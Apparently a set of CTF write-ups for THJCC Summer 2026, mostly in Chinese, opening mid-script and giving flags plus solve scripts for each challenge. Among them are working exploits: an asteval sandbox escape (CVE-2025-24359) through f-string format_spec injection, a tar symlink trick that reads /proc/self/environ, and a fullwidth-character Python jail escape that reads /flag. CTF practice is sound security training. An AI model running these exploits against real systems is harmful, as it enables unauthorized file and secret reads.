state[\u0026#34;blocks\u0026#34;][k]] for k in state[\u0026#34;blocks\u0026#34;]}}, f) if len(done) == N_BLOCKS: break def main(): threads = [threading.Thread(target=worker, args=(k,), daemon=True) for k in range(1, N_BLOCKS + 1)] for t in threads: t.start() monitor(threads) for t in threads: t.join() with state_lock: done = dict(state[\u0026#34;done\u0026#34;]) if len(done) != N_BLOCKS: log(f\u0026#34;FAILED, missing blocks {sorted(set(range(1, 7)) - set(done))}\u0026#34;) return 1 pt = b\u0026#34;\u0026#34;.join(bytes.fromhex(done[k]) for k in range(1, N_BLOCKS + 1)) pad = pt[-1] if 1 \u0026lt;= pad \u0026lt;= BLOCK and pt[-pad:] == bytes([pad]) * pad: pt = pt[:-pad] log(f\u0026#34;PLAINTEXT ({len(pt)} bytes): {pt!r}\u0026#34;) # The plaintext is a decoy JSON-ish wrapper; the real flag is the inner # THJCC{...} token (fallback: the whole plaintext if no inner token). import re m = re.search(rb\u0026#34;THJCC\\{[^{}]*\\}\u0026#34;, pt[len(b\u0026#34;THJCC{\u0026#34;):]) flag = (m.group(0) if m else pt).decode(errors=\u0026#34;replace\u0026#34;) log(f\u0026#34;FLAG: {flag}\u0026#34;) with open(\u0026#34;/tmp/oracle_padding_flag.txt\u0026#34;, \u0026#34;w\u0026#34;) as f: f.write(pt.decode(errors=\u0026#34;replace\u0026#34;) + \u0026#34;\\n\u0026#34; + flag + \u0026#34;\\n\u0026#34;) return 0 if __name__ == \u0026#34;__main__\u0026#34;: sys.exit(main()) お昼はサイゼリヤに行こうニャ！\nFlag：THJCC{46Z-WQv_vFc}\nOSINT（动画角色年龄+订阅数）定种子 K → C 语言 18 线程彩虹表还原 nyan.tbl 五口令 → sha256 拼接 key 做 HMAC-CTR 解 flag.enc。\n发现过程：note.png 给出 K 的语义槽位（yaniko/yakuko/aruko 年龄、hameko 频道订阅数 10.8 万）但数字被烧掉——OSINT 动画《ヤニねこ》官方设定得 K=(21,20,24,108000)；廉价 K 验证 oracle：对任意链重算 24576 步端点与 nyan.tbl 的 21-bit 端点比对，四条链全吻合即确认。彩虹表参数从 gen_table.py 推出（链长 24576、端点 21bit、链数 \u0026gt; 6⁸ 假阳性多，需链再生时精确比对）；C 实现两个坑：消息是口令 ASCII 字节而非 base-6 索引、x*RMIX2 是 40×48 bit 超出 uint64 需 unsigned __int128。\n📜 saizeriya solve.sh（28 行）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 # ==== saizeriya/solve.sh ==== #!/bin/bash # 一键复现：お昼はサイゼリヤに行こうニャ！（サイゼリヤ） # 前提：附件已解压到 handout/extracted/お昼はサイゼリヤに行こうニャ！/ set -euo pipefail HERE=\u0026#34;$(cd \u0026#34;$(dirname \u0026#34;$0\u0026#34;)\u0026#34; \u0026amp;\u0026amp; pwd)\u0026#34; PY=python3 HANDOUT=\u0026#34;${HERE}/handout/extracted/お昼はサイゼリヤに行こうニャ！\u0026#34; # 1) K 候选验证（角色年龄/订阅数 -\u0026gt; nyan.tbl 链端点比对） \u0026#34;${PY}\u0026#34; \u0026#34;${HERE}/verify_k.py\u0026#34; # 2) 彩虹表查询：5 个 shadow 哈希 -\u0026gt; 原像口令 cc -O3 -o \u0026#34;${HERE}/rainbow\u0026#34; \u0026#34;${HERE}/rainbow.c\u0026#34; -pthread \u0026#34;${HERE}/rainbow\u0026#34; \u0026#34;${HANDOUT}\u0026#34; | tee \u0026#34;${HERE}/rainbow.out\u0026#34; # 3) 按住户顺序取每個 target 的第一個命中口令，拼 key 解 flag.enc PWS=() for t in 0 1 2 3 4; do pw=$(grep \u0026#34;FOUND target\\[${t}\\]\u0026#34; \u0026#34;${HERE}/rainbow.out\u0026#34; | head -1 | sed \u0026#39;s/.*pw=\\([^ ]*\\).*/\\1/\u0026#39;) if [ -z \u0026#34;${pw}\u0026#34; ]; then echo \u0026#34;target[${t}] not found\u0026#34;; exit 1; fi PWS+=(\u0026#34;${pw}\u0026#34;) done echo \u0026#34;passwords: ${PWS[*]}\u0026#34; \u0026#34;${PY}\u0026#34; \u0026#34;${HERE}/finish.py\u0026#34; \u0026#34;${PWS[0]}\u0026#34; \u0026#34;${PWS[1]}\u0026#34; \u0026#34;${PWS[2]}\u0026#34; \u0026#34;${PWS[3]}\u0026#34; \u0026#34;${PWS[4]}\u0026#34; 📜 saizeriya finish.py（37 行，核心 keystream@1824）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 # ==== saizeriya/finish.py ==== # Final step: assemble key from the 5 recovered passwords, unseal flag.enc. import hashlib import hmac import sys HANDOUT = \u0026#34;saizeriya/handout/extracted/お昼はサイゼリヤに行こうニャ！\u0026#34; RESIDENTS = [\u0026#34;yaniko\u0026#34;, \u0026#34;yakuko\u0026#34;, \u0026#34;hameko\u0026#34;, \u0026#34;kaoruko\u0026#34;, \u0026#34;aruko\u0026#34;] def keystream(key: bytes, n: int) -\u0026gt; bytes: out, ctr = b\u0026#34;\u0026#34;, 0 while len(out) \u0026lt; n: out += hashlib.sha256(key + b\u0026#34;YANI-CTR\u0026#34; + ctr.to_bytes(4, \u0026#34;big\u0026#34;)).digest() ctr += 1 return out[:n] def main(): # order follows RESIDENTS (same order as shadow.txt lines) pws = sys.argv[1:6] if len(pws) != 5: print(\u0026#34;usage: finish.py \u0026lt;yaniko_pw\u0026gt; \u0026lt;yakuko_pw\u0026gt; \u0026lt;hameko_pw\u0026gt; \u0026lt;kaoruko_pw\u0026gt; \u0026lt;aruko_pw\u0026gt;\u0026#34;) return 1 key = hashlib.sha256(\u0026#34;|\u0026#34;.join(pws).encode()).digest() blob = open(f\u0026#34;{HANDOUT}/flag.enc\u0026#34;, \u0026#34;rb\u0026#34;).read() tag, ct = blob[:16], blob[16:] calc = hmac.new(key, b\u0026#34;YANI-TAG\u0026#34; + ct, hashlib.sha256).digest()[:16] print(\u0026#34;tag match:\u0026#34;, calc == tag) pt = bytes(a ^ b for a, b in zip(ct, keystream(key, len(ct)))) print(\u0026#34;flag:\u0026#34;, pt.decode()) return 0 if __name__ == \u0026#34;__main__\u0026#34;: sys.exit(main()) Misc（7/10）· Forensics（5/6）· Welcome（1/1） SO EZ MISC（Misc｜asteval 越狱） Flag：THJCC{CVE_2025_24359_th3_p4tch_w4s_1nc0mpl3t3:/}\ncalc\u0026gt; REPL 前两轮按\u0026quot;手写解释器\u0026quot;打全灭。第三轮先做引擎指纹：发非法 UTF-8 （\\xff）触发 UnicodeEncodeError，服务端把整个 stderr traceback 回显到 socket，认出是公开库 asteval 1.0.9。\u0026ldquo;the bug has no patch\u0026rdquo; = CVE-2025-24359。 读原语在 f-string：on_formattedvalue 把 format_spec 原样拼进 '{__fstring__:'+spec+'}' 模板交 safe_format，spec 以 } 开头提前闭合主字段， 注入独立 replacement field：\n📜 SO EZ MISC solve.py（88 行，核心 build_payload@1891）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;SO EZ MISC (THJCC CTF Summer 2026) — one-shot exploit. Bug chain (asteval 1.0.9, CVE-2025-24359 family): asteval.Interpreter.on_formattedvalue builds fmt = \u0026#39;{__fstring__:\u0026#39; + \u0026lt;evaluated format_spec\u0026gt; + \u0026#39;}\u0026#39; and runs SafeFormatter over it. The spec string is spliced RAW into a str.format template, so a spec starting with \u0026#39;}\u0026#39; closes the main field early and everything after it is parsed as *template text* — including replacement fields whose names support `.attr` / `[key]` chains (SafeFormatter.get_field -\u0026gt; safe_getattr / obj[key]). The whole read chain lives inside a string literal, so the source-level character blacklist (\u0026#39;_\u0026#39;, \u0026#39;[\u0026#39;, \u0026#39;]\u0026#39;) is bypassed with \\\\u005f/\\\\u005b/\\\\u005d escapes (server runs Python 3.13, so backslashes inside f-strings are fine). Usage: python3 solve.py # default: audit sheet chain python3 solve.py --chain \u0026#34;sheets[summary].owner.session.token.value\u0026#34; python3 solve.py --host chal.thjcc.org --port 9006 \u0026#34;\u0026#34;\u0026#34; import argparse from pwn import remote, context context.log_level = \u0026#34;error\u0026#34; def build_payload(chain: str) -\u0026gt; str: \u0026#34;\u0026#34;\u0026#34;f-string whose format_spec breaks out of the spec and reads `chain` from WB.\u0026#34;\u0026#34;\u0026#34; field = \u0026#34;__fstring__.\u0026#34; + chain field = ( field.replace(\u0026#34;_\u0026#34;, \u0026#34;\\\\u005f\u0026#34;) .replace(\u0026#34;[\u0026#34;, \u0026#34;\\\\u005b\u0026#34;) .replace(\u0026#34;]\u0026#34;, \u0026#34;\\\\u005d\u0026#34;) ) # template after splice: {__fstring__:} {\u0026lt;field\u0026gt;} -\u0026gt; value + \u0026#39; \u0026#39; + read result return \u0026#34;f\\\u0026#34;{WB:{\u0026#39;} {\u0026#34; + field + \u0026#34;\u0026#39;}}\\\u0026#34;\u0026#34; def run(host: str, port: int, chain: str) -\u0026gt; str: payload = build_payload(chain) io = remote(host, port) try: io.recv(timeout=3) # banner \u0026#34;calc\u0026gt; \u0026#34; io.sendline(payload.encode()) buf = b\u0026#34;\u0026#34; while True: try: chunk = io.recv(timeout=3) except Exception: break if not chunk: break buf += chunk if buf.rstrip().endswith(b\u0026#34;calc\u0026gt;\u0026#34;): break finally: io.close() out = buf.decode(errors=\u0026#34;backslashreplace\u0026#34;).replace(\u0026#34;calc\u0026gt;\u0026#34;, \u0026#34;\u0026#34;).strip() # server prints \u0026#39; \u0026#39; + str(result): drop the leading str(WB) part marker = \u0026#34;cells={\u0026#39;A1\u0026#39;: 0})})\u0026#34; if marker in out: out = out.split(marker, 1)[1].strip() return out def main(): ap = argparse.ArgumentParser() ap.add_argument(\u0026#34;--host\u0026#34;, default=\u0026#34;chal.thjcc.org\u0026#34;) ap.add_argument(\u0026#34;--port\u0026#34;, type=int, default=9006) ap.add_argument( \u0026#34;--chain\u0026#34;, default=\u0026#34;sheets[audit].owner.session.token.value\u0026#34;, help=\u0026#34;attr/key chain from WB to the value you want to read\u0026#34;, ) args = ap.parse_args() payload = build_payload(args.chain) print(f\u0026#34;[*] payload: {payload}\u0026#34;) result = run(args.host, args.port, args.chain) print(f\u0026#34;[*] leaked: {result}\u0026#34;) if result.startswith(\u0026#34;THJCC{\u0026#34;): print(f\u0026#34;[+] FLAG: {result}\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: main() Afterimage1（Forensics｜mdat 孤立帧） Flag：THJCC{v1d3o_F0ren51cS_qkrejnga}\n四轮自动化分析（逐帧 OCR/QR、频域、时序、音频、运动矢量、容器 atom）全灭。真相： flag 是 mdat 尾部 20,524 字节未被 sample table 引用的孤立 IDR H.264 帧，播放器永远不会放它。afterimage1/solve.sh 一键复现：\n📜 Afterimage1 solve.sh（24 行）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #!/bin/bash # Afterimage1 一键复现：mdat 尾部孤立 IDR 帧提取与解码 # 用法: bash solve.sh [challenge.mp4] [输出png] # 依赖: ffprobe / dd / ffmpeg set -e VIDEO=\u0026#34;${1:-challenge.mp4}\u0026#34; OUT=\u0026#34;${2:-flag_frame.png}\u0026#34; # 1) 最后一个被 sample table 引用的 packet 结束位置 LAST=$(ffprobe -v error -select_streams v:0 -show_entries packet=pos,size -of csv=p=0 \u0026#34;$VIDEO\u0026#34; | tail -n 1 | tr \u0026#39;,\u0026#39; \u0026#39; \u0026#39;) POS=${LAST% *}; SIZE=${LAST##* } END=$((POS + SIZE)) TOTAL=$(stat -f%z \u0026#34;$VIDEO\u0026#34;) echo \u0026#34;[*] last referenced packet ends at $END / total $TOTAL bytes\u0026#34; echo \u0026#34;[*] unreferenced tail: $((TOTAL - END)) bytes\u0026#34; # 2) 切出孤立 NAL（Annex-B + SPS/PPS/SEI/IDR） dd if=\u0026#34;$VIDEO\u0026#34; of=/tmp/afterimage1_orphan.h264 bs=1 skip=\u0026#34;$END\u0026#34; 2\u0026gt;/dev/null # 3) 解码单帧 ffmpeg -y -loglevel error -f h264 -i /tmp/afterimage1_orphan.h264 -frames:v 1 \u0026#34;$OUT\u0026#34; rm -f /tmp/afterimage1_orphan.h264 echo \u0026#34;[*] flag frame written to $OUT\u0026#34; Welcome（Welcome｜单帧单字符） Flag：THJCC{w3lc0me_t0_tHjCc_CTF_sUmM3r_ed1ti0n}\n57 帧 GIF，机器判定\u0026quot;独立随机姿态、无相似帧对、全通道干净\u0026quot;。真相是每帧恰好一个字符，统计相似度分析从根上就失明了。人眼步骤无脚本可自动完成（豁免），可复现部分是抽帧：\n📜 Welcome solve.py（24 行）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;Welcome 一键复现：57 帧单帧单字符提取。 机器统计隐写分析对\u0026#34;每帧一个字符\u0026#34;免疫，剩余步骤需要人眼： 1) 本脚本把 57 帧落盘到 frames/（按帧序编号） 2) 人眼逐帧读字符 → 拼出 check-in 网址 https://welcome.xzhiyouu.idv.tw 与通行码 3) 网页 Check in（忽略大小写/连字符，过人机验证）→ pastebin.com/DUxM02Gp → flag \u0026#34;\u0026#34;\u0026#34; import sys from pathlib import Path from PIL import Image def main(): gif = Path(sys.argv[1] if len(sys.argv) \u0026gt; 1 else \u0026#34;welcome.gif\u0026#34;) outdir = Path(\u0026#34;frames\u0026#34;) outdir.mkdir(exist_ok=True) im = Image.open(gif) for i in range(im.n_frames): im.seek(i) im.convert(\u0026#34;RGB\u0026#34;).save(outdir / f\u0026#34;{i:02d}.png\u0026#34;) print(f\u0026#34;[*] {im.n_frames} frames extracted to {outdir}/ — read them in order\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: main() Where is our head（Misc｜OSINT 双锚点） Flag：THJCC{144.95,-37.81}\n\u0026ldquo;ZURICH\u0026rdquo; 是苏黎世保险的楼顶招牌，不是城市名（北悉尼/珀斯/奥克兰三城市被网格 证伪排除）。第二锚点 RACV 三角顶 → 墨尔本 600 Bourke Place 换牌记录 + 建筑指纹对上，取整边界 -37.82→-37.81 命中。定位本身是人工/多模态 OSINT（豁免）， where-is-our-head/solve.py 提供坐标网格验证（中心格→相邻格、限速退避）：\n📜 Where is our head solve.py（44 行，核心 submit@2041）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;Where is our head of challenges? — 坐标验证脚本（OSINT 定位本身无脚本可复现）。 定位链（人工/多模态）：ZURICH=苏黎世保险楼顶招牌（非城市名）→ 第二锚点 RACV 三角顶 → 墨尔本 CBD 600 Bourke Place → 摄影点在 Spencer Street 一带高层住宅。 两位小数坐标存在四舍五入边界，用本脚本按\u0026#34;中心格→相邻格\u0026#34;顺序提交验证。 用法: python3 solve.py --challenge 59 --token \u0026lt;CTFd token\u0026gt; 144.95 -37.82 # 相邻格优先顺序：同 lon 纬度 +-0.01，再经度 +-0.01，再对角 \u0026#34;\u0026#34;\u0026#34; import argparse, sys, time, urllib.request API = \u0026#34;https://ctf2026-sum.thjcc.org/api/v1/challenges/attempt\u0026#34; def submit(token, cid, lon, lat): flag = f\u0026#34;THJCC{{{lon:.2f},{lat:.2f}}}\u0026#34; req = urllib.request.Request( API, data=f\u0026#39;{{\u0026#34;challenge_id\u0026#34;:{cid},\u0026#34;submission\u0026#34;:\u0026#34;{flag}\u0026#34;}}\u0026#39;.encode(), headers={\u0026#34;Content-Type\u0026#34;: \u0026#34;application/json\u0026#34;, \u0026#34;Authorization\u0026#34;: f\u0026#34;Token {token}\u0026#34;, \u0026#34;User-Agent\u0026#34;: \u0026#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36\u0026#34;}, method=\u0026#34;POST\u0026#34;) with urllib.request.urlopen(req, timeout=20) as r: import json return json.load(r)[\u0026#34;data\u0026#34;][\u0026#34;status\u0026#34;] def main(): ap = argparse.ArgumentParser() ap.add_argument(\u0026#34;--challenge\u0026#34;, type=int, default=59) ap.add_argument(\u0026#34;--token\u0026#34;, required=True) ap.add_argument(\u0026#34;lon\u0026#34;, type=float); ap.add_argument(\u0026#34;lat\u0026#34;, type=float) args = ap.parse_args() order = [(0,0),(0,1),(0,-1),(1,0),(-1,0),(1,1),(1,-1),(-1,1),(-1,-1)] for dlon, dlat in order: lon, lat = round(args.lon + dlon*0.01, 2), round(args.lat + dlat*0.01, 2) st = submit(args.token, args.challenge, lon, lat) print(f\u0026#34;THJCC{{{lon},{lat}}} -\u0026gt; {st}\u0026#34;, flush=True) if st in (\u0026#34;correct\u0026#34;, \u0026#34;already_solved\u0026#34;): print(\u0026#34;FOUND\u0026#34;); return time.sleep(8) # 平台限速 ~10 次/分；ratelimited 时本次未判定，sleep 后重发同格 print(\u0026#34;not found in grid\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: main() Time Machine（Misc） Flag：THJCC{th3_v3r1f13r_ch3ck3d_th3_n4m3_but_n0t_th3_l1nkn4m3}\nzip symlink 落盘变普通文件（3.11 extractall 不建链接），tar symlink 保留 → snapshot 的 shutil.make_archive 解引用链接读 /proc/self/environ 拿 FLAG。\n📜 Time Machine solve.py（70 行，核心 build_tar@2102）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;Time Machine (THJCC Summer 2026, Misc 500) — one-shot solve. Vuln: restored tar symlinks are dereferenced by shutil.make_archive when the \u0026#34;Take snapshot\u0026#34; button is hit, giving an arbitrary file read from the server. The flag lives in the app environment (FLAG=...), so read /proc/self/environ. Usage: python3 solve.py [host] [port] (defaults: chal.thjcc.org 9005) \u0026#34;\u0026#34;\u0026#34; import io import re import sys import tarfile import uuid import zipfile import urllib.request import urllib.parse HOST = sys.argv[1] if len(sys.argv) \u0026gt; 1 else \u0026#34;chal.thjcc.org\u0026#34; PORT = sys.argv[2] if len(sys.argv) \u0026gt; 2 else \u0026#34;9005\u0026#34; BASE = f\u0026#34;http://{HOST}:{PORT}\u0026#34; def build_tar(links): \u0026#34;\u0026#34;\u0026#34;Tar containing only symlink entries: {name_in_archive: absolute_target}.\u0026#34;\u0026#34;\u0026#34; buf = io.BytesIO() with tarfile.open(fileobj=buf, mode=\u0026#34;w\u0026#34;) as tf: for name, target in links.items(): info = tarfile.TarInfo(name) info.type = tarfile.SYMTYPE info.linkname = target tf.addfile(info) return buf.getvalue() def upload(opener, data, filename): boundary = \u0026#34;----tm\u0026#34; + uuid.uuid4().hex body = ( f\u0026#34;--{boundary}\\r\\n\u0026#34; f\u0026#39;Content-Disposition: form-data; name=\u0026#34;archive\u0026#34;; filename=\u0026#34;{filename}\u0026#34;\\r\\n\u0026#39; f\u0026#34;Content-Type: application/octet-stream\\r\\n\\r\\n\u0026#34; ).encode() + data + f\u0026#34;\\r\\n--{boundary}--\\r\\n\u0026#34;.encode() req = urllib.request.Request( BASE + \u0026#34;/restore\u0026#34;, data=body, method=\u0026#34;POST\u0026#34;, headers={\u0026#34;Content-Type\u0026#34;: f\u0026#34;multipart/form-data; boundary={boundary}\u0026#34;}, ) opener.open(req) # 302 back to / def main(): # Fresh cookie jar =\u0026gt; fresh per-session holdings dir. opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor()) upload(opener, build_tar({\u0026#34;leak_env\u0026#34;: \u0026#34;/proc/self/environ\u0026#34;}), \u0026#34;leak.tar\u0026#34;) # Snapshot = shutil.make_archive(\u0026#34;snapshot\u0026#34;, \u0026#34;zip\u0026#34;, holdings_dir); zipfile # follows the symlink, so snapshot.zip contains the target\u0026#39;s content. zipdata = opener.open(BASE + \u0026#34;/snapshot\u0026#34;).read() with zipfile.ZipFile(io.BytesIO(zipdata)) as z: env = z.read(\u0026#34;leak_env\u0026#34;).decode(errors=\u0026#34;replace\u0026#34;) m = re.search(r\u0026#34;FLAG=([^\\x00]+)\u0026#34;, env) if not m: print(\u0026#34;[!] FLAG not found. Raw env:\u0026#34;, env) sys.exit(1) print(m.group(1)) if __name__ == \u0026#34;__main__\u0026#34;: main() Starry Sky（Forensics｜主 agent 亲解） Flag：THJCC{c0unt1ng_blu3s_by_thr33s}\nPNG tEXt Comment 藏提示（\u0026ldquo;a single byte lifts it… which grains to read, and how far apart\u0026rdquo;）→ B 通道 LSB 按 stride=5 采样 → packbits → XOR 0x5A（依赖 numpy/Pillow）。\n📜 Starry Sky solve.py（30 行）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;THJCC Summer 2026 - Starry Sky (Forensic) 一键复现 B 通道 LSB 位面按 stride=5 采样 -\u0026gt; 8 位组字节 -\u0026gt; XOR 0x5A -\u0026gt; flag 用法: python3 solve.py [image.png] \u0026#34;\u0026#34;\u0026#34; import sys import numpy as np from PIL import Image KEY = 0x5A STRIDE = 5 def main(): path = sys.argv[1] if len(sys.argv) \u0026gt; 1 else \u0026#34;challenge.png\u0026#34; im = Image.open(path).convert(\u0026#34;RGB\u0026#34;) a = np.asarray(im) bits = (a[..., 2] \u0026gt;\u0026gt; 0) \u0026amp; 1 # B 通道 LSB sampled = bits.flatten()[::STRIDE] n = len(sampled) - len(sampled) % 8 nb = np.packbits(sampled[:n].astype(np.uint8)) dec = bytes(int(v) ^ KEY for v in nb) end = dec.find(b\u0026#34;}\u0026#34;) + 1 flag = dec[:end].decode() if end \u0026gt; 0 else dec.decode(errors=\u0026#34;replace\u0026#34;) print(flag) return 0 if flag.endswith(\u0026#34;}\u0026#34;) else 1 if __name__ == \u0026#34;__main__\u0026#34;: sys.exit(main()) Baritone（Misc｜主 agent 亲解） Flag：THJCC{DoYouHavePerfectPitch}\n16.2s mp3 每 0.5s 一个 12-TET 纯音符 = midi 值当 ASCII。必须全频段扫描： {≈9950Hz、}≈11168Hz，f\u0026lt;6000 的滤波会丢高频字符（依赖 numpy/scipy/ffmpeg）。\n📜 Baritone solve.py（52 行）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;THJCC Summer 2026 - Baritone (Misc) 一键复现 每 0.5s 一个 12-TET 纯音符，频率 -\u0026gt; midi 值 -\u0026gt; 直接当 ASCII。 用法: python3 solve.py [audio.wav|audio.mp3] \u0026#34;\u0026#34;\u0026#34; import sys import numpy as np from scipy.io import wavfile from scipy import signal as sig def load_wav(path): if path.endswith(\u0026#34;.mp3\u0026#34;): import subprocess, tempfile, os fd, tmp = tempfile.mkstemp(suffix=\u0026#34;.wav\u0026#34;) os.close(fd) subprocess.run([\u0026#34;ffmpeg\u0026#34;, \u0026#34;-y\u0026#34;, \u0026#34;-i\u0026#34;, path, \u0026#34;-ac\u0026#34;, \u0026#34;1\u0026#34;, \u0026#34;-ar\u0026#34;, \u0026#34;44100\u0026#34;, tmp], check=True, capture_output=True) sr, data = wavfile.read(tmp) os.unlink(tmp) else: sr, data = wavfile.read(path) if data.ndim \u0026gt; 1: data = data.mean(axis=1) return sr, data.astype(np.float64) def main(): path = sys.argv[1] if len(sys.argv) \u0026gt; 1 else \u0026#34;baritone.mp3\u0026#34; sr, data = load_wav(path) slot = sr // 2 # 0.5s 一个符号 n_slots = int(len(data) / slot) chars = [] for i in range(n_slots): seg = data[i * slot:(i + 1) * slot] f, P = sig.periodogram(seg, sr, nfft=131072) m = (f \u0026gt; 60) \u0026amp; (f \u0026lt; 18000) # 必须全频段，高频字符音符（\u0026#39;{\u0026#39;~10kHz, \u0026#39;}\u0026#39;~11kHz） fb, Pb = f[m], P[m] k = np.argmax(Pb) midi = round(69 + 12 * np.log2(fb[k] / 440.0)) if 32 \u0026lt;= midi \u0026lt; 127: chars.append(chr(midi)) text = \u0026#34;\u0026#34;.join(chars) start = text.find(\u0026#34;THJCC{\u0026#34;) end = text.find(\u0026#34;}\u0026#34;, start) flag = text[start:end + 1] if start \u0026gt;= 0 and end \u0026gt; start else text print(flag) return 0 if flag.startswith(\u0026#34;THJCC{\u0026#34;) and flag.endswith(\u0026#34;}\u0026#34;) else 1 if __name__ == \u0026#34;__main__\u0026#34;: sys.exit(main()) 67jail（Misc） Flag：THJCC{676767676767676767676767676767676767676767676767}\n全角标识符 NFKC 归一绕字符黑名单，(()==())+\u0026lt;\u0026lt; 构造数字、chr 链读 /flag；远程 含 AI 蜜罐（勿交 API key）。\n📜 67jail solve.py（128 行，核心 build_payload@2312 / num_expr@2277）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;67jail 一键复现：token 认证 → [3] Human → nonce → 发 payload 读任意文件。 用法: python3 solve.py [host] [port] [path] 默认: host=chal.thjcc.org port=9000 path=/flag 依赖 CTFd API token：环境变量 THJCC_TOKEN 或文件 /tmp/thjcc_api_token（ctfd_ 开头 69 字符）。 payload 生成逻辑内嵌（与 gen_payload.py 一致），无需外部文件。 原理（绕过 5 层过滤）: 1. len==6767 -\u0026gt; 末尾空格垫齐 2. 禁 \u0026#39;\u0026#34;_`\\\\# -\u0026gt; 全程不用这些字符 3. 禁 ASCII 字母数字 -\u0026gt; 全角字符 ｐｒｉｎｔ/ｏｐｅｎ/ｃｈｒ/ｒｅａｄ（tokenizer NFKC 归一成 ASCII 名， 从 exec globals 的 __builtins__={print,open,chr} 解析）， 数字用 (()==()) 即 True==1，经 + 与 \u0026lt;\u0026lt; 位运算拼出任意整数 4. \u0026#39;;\u0026#39; \u0026lt;= 1 -\u0026gt; 单表达式，无分号 5. 禁 NFKC 不变的标识符字符 -\u0026gt; 全角字母的 NFKC 归一后是 ASCII（改变），放行 字符串字面量被禁 -\u0026gt; chr(\u0026lt;num_expr\u0026gt;) 链拼接路径名 \u0026#34;\u0026#34;\u0026#34; import os import re import socket import sys import time DEFAULT_HOST = \u0026#34;chal.thjcc.org\u0026#34; DEFAULT_PORT = 9000 DEFAULT_PATH = \u0026#34;/flag\u0026#34; TOKEN_FILE = os.environ.get(\u0026#34;THJCC_TOKEN\u0026#34;, \u0026#34;/tmp/thjcc_api_token\u0026#34;) ONE = \u0026#34;(()==())\u0026#34; # True == 1 def num_expr(n: int) -\u0026gt; str: \u0026#34;\u0026#34;\u0026#34;只用 ONE/+/\u0026lt;\u0026lt;/括号 构造整数 n（二进制分解，位移用递归）。\u0026#34;\u0026#34;\u0026#34; if n == 0: return \u0026#34;(()-())\u0026#34; # False == 0（备用） parts = [] i = 0 while n: if n \u0026amp; 1: parts.append(ONE if i == 0 else \u0026#34;(\u0026#34; + ONE + \u0026#34;\u0026lt;\u0026lt;(\u0026#34; + num_expr(i) + \u0026#34;))\u0026#34;) n \u0026gt;\u0026gt;= 1 i += 1 return \u0026#34;+\u0026#34;.join(parts) def string_expr(s: str) -\u0026gt; str: \u0026#34;\u0026#34;\u0026#34;chr 链拼出字符串 s（绕开引号与 ASCII 字母数字）。\u0026#34;\u0026#34;\u0026#34; return \u0026#34;+\u0026#34;.join(\u0026#34;ｃｈｒ(\u0026#34; + num_expr(ord(c)) + \u0026#34;)\u0026#34; for c in s) def build_payload(path: str, total: int = 6767) -\u0026gt; str: src = \u0026#34;ｐｒｉｎｔ(ｏｐｅｎ(\u0026#34; + string_expr(path) + \u0026#34;).ｒｅａｄ())\u0026#34; assert len(src) \u0026lt;= total, f\u0026#34;payload too long: {len(src)} \u0026gt; {total}\u0026#34; return src + \u0026#34; \u0026#34; * (total - len(src)) # 空格垫到 6767 def recv_until(sock, marker: bytes, timeout: float = 10) -\u0026gt; bytes: sock.settimeout(timeout) buf = b\u0026#34;\u0026#34; while marker not in buf: try: d = sock.recv(4096) except socket.timeout: break if not d: break buf += d return buf def drain(sock, seconds: float) -\u0026gt; bytes: sock.settimeout(seconds) buf = b\u0026#34;\u0026#34; try: while True: d = sock.recv(4096) if not d: break buf += d except socket.timeout: pass return buf def handshake(sock) -\u0026gt; None: \u0026#34;\u0026#34;\u0026#34;token -\u0026gt; [3] Human -\u0026gt; nonce -\u0026gt; 到达 jail 的 \u0026#39;\u0026gt;\u0026gt; \u0026#39; 提示符。\u0026#34;\u0026#34;\u0026#34; tok = open(TOKEN_FILE).read().strip() recv_until(sock, b\u0026#34;token: \u0026#34;) sock.sendall(tok.encode() + 